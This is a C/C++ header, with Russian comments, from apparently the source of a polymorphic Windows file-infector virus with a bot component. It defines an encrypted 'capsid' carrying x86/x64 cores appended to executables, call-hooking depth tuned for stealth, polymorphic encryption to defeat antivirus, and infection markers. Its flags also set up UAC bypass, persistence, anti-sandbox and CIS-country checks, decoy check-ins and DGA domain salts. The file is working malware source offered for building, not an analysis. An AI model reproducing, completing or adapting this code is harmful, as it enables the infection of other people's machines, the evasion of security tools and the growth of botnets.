#pragma once


#ifndef _CRT_SECURE_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS
#endif

#ifndef _UNICODE
#define _UNICODE
#endif

#define _ENABLE_NOBLACKLIST_CHECK // позволяет задать дебаг флаг --fno-cisblacklist, иначе флаг игнорируется

#define _DEBUG
//#define _DEBUG_CHANNEL // C2-дебаг через файлы
//#define _DEBUG_CMD // активирует возможность вмешиваться в работу инфектора через commandline

//#define _DISABLE_PERSISTENCE
//#define _DISABLE_TRAFFCRYPT
//#define _DISABLE_BLACKLIST_CIS

// учитывается только если задан _DEBUG
#define _USEDEBUG_MSGBOX

// Инфектор компилируется в режиме Reflective DLL, содержит в себе экспорт с загрузчиком ядра
//#define _REFLECTIVE_MODE
// Если _REFLECTIVE_MODE не задано, то инфектор компилируется в обычную DLL, для загрузки требуется внешний шеллкод-загрузчик. 
// Метаданные капсида используются в обоих случаях. В случае Reflective офсеты entry идут в экспортируемый загрузчик, в случае шеллкода - на шеллкод
// В режиме шеллкода capsid_tools требуется также x86/x64 версия шеллкода. Режим шеллкода позволяет сжимать DLL, разжимая ее прямо перед загрузкой
// Если шеллкод идет сразу после dll в формате: x86 ядро / x86 шеллкод / x64 ядро / x64 шеллкод, то шеллкод может считать размер DLL для декомпрессии исходя из разницы офсетов
// Также режим шеллкода позволяет выиграть против аверов, так как позволяет сделать двойной декриптор. С рефлективной DLL такое не выйдет, так как загрузчик находится внутри самой длл

// задает медленный полиморфизм. Задает режим работы в зависимость от ДНК-кода
// требуется для увеличения времени жизни полиморфного генератора
#define _SLOW_POLYMORPHISM

// отключает флагирование PE заголовков флагом зараженности, переключая проверку зараженности в режим эвристика:
// если в файле есть переход за пределы кодовой секции в первых call инструкциях, то считать зараженным
#define _FNO_FLAGS_USEHEURISTICS

#define _PATH_INFECTOR_NOSEARCH
// отключает инфектор
//#define _DISABLE_INFECTOR
// отключает бота
//#define _DISABLE_BOT

// максимальная глубина входа в процедуру поточного дизассемблера при поиске жертвы для перехвата
// минимальное значение - 1, это означает что при любом входе в процедуру будет совершен рекурсивный выход, то есть дизасм только процедуры на точке входа
// чем меньше значение тем ближе к точке входа будет перехваченный call, тем выше - тем глубже в программе
// более меньшие значения работают более надежно, однако они не такие беспалевные
// более высокие значения довольно сложно обнаружить, но это создает риск проблем с многопоточностью в хостовом апп и ветвлениями, т.к никогда неизвестно по какой ветке пойдет исполнение
// Кратко:
// * при увеличении многократно растет риск сбоев и падает риск обнаружения
// * при уменьшении многократно растет риск обнаружения и падает риск сбоев
// * [1; inf]
#define DISASSEMBLER_MAXIMUM_DEPTH 2
// перехватывать только среди первых 5 найденных call rel32
// это повысит вероятность передачи управления на вирусный код
// чем ниже - тем ближе к точке входа, чем выше - тем дальше
#define MAXIMUM_CALL_POOL 5

// флаг проверки на зараженность MinorLinkerVersion ^ MajorLinkerVersion == XOR_FLAG 
#define XOR_FLAG 0xEA
// выравнивание таймстампа для проверки на зараженность
#define ALIGN_INF_FLAG 0xFFFF0000

// выравнивание размера капсида, проверяем что капсид выравнен перед началом работы, нужно чтобы полиморфный декриптор не повредил данные лежащие после капсида
#define CAPSID_ALIGNMENT 4096

// размер блока в генерируемом алгоритме должен быть степенью двойки, капсид должен быть выравнен по этому блоку
// при генерации капсида он выравнивается к 4096 что является 2^12, следовательно мы можем генерировать любой размер блока
// не более 2^12
#define MAX_POWER_OF_TWO_ENCGEN 12
// минимальное значение, нужно чтобы при слишком маленьком ав эвристик не смог забрутфорсить например xor или еще что
// ограничение снизу убирает вероятность что один из полиморфно пошифрованных капсидов окажется просто ксором
#define MIN_POWER_OF_TWO 4

// максимальная длина генерируемой строки для отстука в url
#define OBJECTSTR_MAXLEN 16

// в решении задачи обедающих инфекторов происходит смена активного процесса раз через INFECTOR_SWITCHPERIOD миллисекунд после завершения работы активного потока
#define INFECTOR_SWITCHPERIOD 60 * 1000

// -------------------------------------------

// не менять, максимальная длина интел инструкции
#define INTEL_MAXLEN 15

// использует XED в качестве дизассемблера
#define _USE_XED 



#include <Windows.h>
#include <wchar.h>
#include <WinDNS.h>
#include <winhttp.h>

#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "netapi32.lib")
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "mpr.lib")
#pragma comment(lib,"Secur32.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "Dnsapi.lib")
#pragma comment(lib, "ws2_32.lib")

#ifdef _USE_XED
#ifdef _WIN64
#pragma comment(lib, "Core\\xed64\\xed-ild.lib")
#else
#pragma comment(lib, "Core\\xed32\\xed-ild.lib")
#endif
#endif

void *operator new(size_t size);
void operator delete(void *p);


typedef enum dna_fields_
{
	// флаг о том нужно ли нам использовать фикс энтропии
	USE_ENTROPYFIX = 0,
	// параметр фикса энтропии
	ENTROPYFIX_PARAMETER,
	// флаг использовать трешкод или нет
	USE_TRASHCODE,
	// параметр трешкода
	TRASHCODE_PARAM,
	// сид кодового генератора
	CODEGEN_SEED,
	// сид генератора алгоритма шифрования
	POLYENC_SEED,
	// сид перехватчика управления
	HOOK_SEED,
	// тип окончания стартап-кода: т.к у нас вставляется в восстановлении трамплин после стартапкода мы можем записать любой мусор 
	STARTUP_ENDCODE_TYPE,
	// соль для сида DGA: смещает сид на определенное значения, создавая новые пулы доменов в зависимости от мутации
	DGA_SALT,
	// красная граница активации мутатора
	MUTATOR_BORDER,
	// техническое значение - всего элементов
	DNA_FIELDS_TOTAL
} dna_fields_t;


/* 

I. Капсид.

Само ядро инфектора состоит из одной кодовой базы, которая собирается в x86 и x64 длл, после чего эти длл соединяются в специальную структуру-носитель наподобии вирусного капсида

Капсид состоит из:
------------------------------------------------------------------------------------------------------------
........ метаданные о капсиде ........
дворд32 - офсет_начало_86 // смещение от начала структуры до x86 модуля
дворд32 - офсет_вход_86   // смещение от начала структуры до входа в x86 модуль: сюда надо передать управление и указатель на начало капсида для загрузки x86 модуля в память
дворд32 - офсет_64        // смещение от начала структуры до x64 модуля
дворд32 - офсет_вход_64   // смещение от начала структуры до входа в x64 модуль аналогично с x86
дворд32 - размер капсида
........ ядра вируса ........
байт массив - x86 ядро
байт массив - x64 ядро
------------------------------------------------------------------------------------------------------------

входами в 86 и 64 является функция в экспорте DLL, осуществляющая загрузку данной DLL в память. На вход ей передается указатель на начало капсида.
Она использует метаданные из капсида для нахождения начала модуля, а также передает эти метаданные после загрузки в основную процедуру ядра инфектора, который переиспользует их для заражения
капсидом и стартовым кодом новых файлов.

Данный капсид находится в теле носителя в зашифрованном виде, приатаченный к последней секции.
*/


// При отсутствии данного флага после копирования extended_data в глобальные переменные, капсид перезаписывается с обнуленными флагами
// При наличии не обнуляет флаги при старте.
#define M0YV_USE_PROPFLAG (DWORD)1 
// инфектор не входит в traverse
#define M0YV_FNO_SEARCH (DWORD)2 
// отключает процедуры автозапуска
#define M0YV_FNO_PERSIST (DWORD)4 
// отключает отстук бота при использовании данного флага
#define M0YV_FNO_BOT (DWORD)8 
// использует обход уака для старта еще одной копии с повышенным IL
#define M0YV_USE_UACBYPASS (DWORD)16 
// не возвращает управление из стартап кода, завершая потока через ExitThread
#define M0YV_FNO_RET (DWORD)32 
// использует DECOY поток для фальшивого отстука
#define M0YV_USE_DECOY (DWORD)64
// отключает проверку на CIS - возможность такого флага есть только в дебаг версии
#define WriteLogM0YV_FNO_CIS_CHECK (DWORD)128
// отключает проверку на песочницу
#define M0YV_FNO_ANTISBX (DWORD)256


// отключает инфектор
#define M0YV_FNO_INFECTOR M0YV_FNO_PERSIST | M0YV_FNO_SEARCH


// расширенная инфа о капсиде
#pragma pack(1)
struct capsid_extended
{
	WCHAR parentBotId[128]; // айди бота который заразил данный екзешник
	DWORD32 dwGenCounter; // счетчик поколения заражений 
	DWORD32 dwDNAMutatorCounter; // счетчик количества мутаций ДНК
	DWORD32 dwWayInfected; // флаг о том по какому пути произошло заражение
	DWORD32 dwDNA[dna_fields_t::DNA_FIELDS_TOTAL];
	DWORD32 dwPropCounter; // счетчик длины цепочки распространения: при первом запуске на компьютере инкрементирует эту переменную
};
#pragma pack()

// структура метаданных капсида вируса, следом за ней идут разрядности ядер
#pragma pack(1)
struct capsid_metadata
{
	DWORD32 x86_size;
	DWORD32 x64_size;
	DWORD32 offset_x86core;
	DWORD32 offset_x86entry;
	DWORD32 offset_x64core;
	DWORD32 offset_x64entry;
	DWORD32 size; // размер капсида: метаданные + дллки ядра
	unsigned char core_key[32]; // ключ шифрования x64core и x86core
				  // ключ шифрования data_extended структуры - одноразовый блокнот
	unsigned char extended_key[sizeof(capsid_extended)];
	capsid_extended data_extended;
};
#pragma pack()

struct blob
{
	LPBYTE lpBuffer;
	SIZE_T dwBufSize;
};


namespace global_data
{
	// статический сид полиморфизма, требуется для создания т.н медленного полиморфизма, когда результат работы движка полиморфного зависит от настроек системы
	// а не от времени
#ifdef _SLOW_POLYMORPHISM
	//extern DWORD dwSeed; 
#endif
	extern DWORD dwIntegrityLevel;
	extern PWCHAR pwBotID;
	extern PWCHAR pwHardwareID;
	// копия extended_data на момент запуска
	extern capsid_extended *pExtendedDataCopy;

#ifdef _DEBUG
	// имя текущего файла для дебаг вывода
	extern PWCHAR pwFileName;
#endif
}

#include "mydbg.h"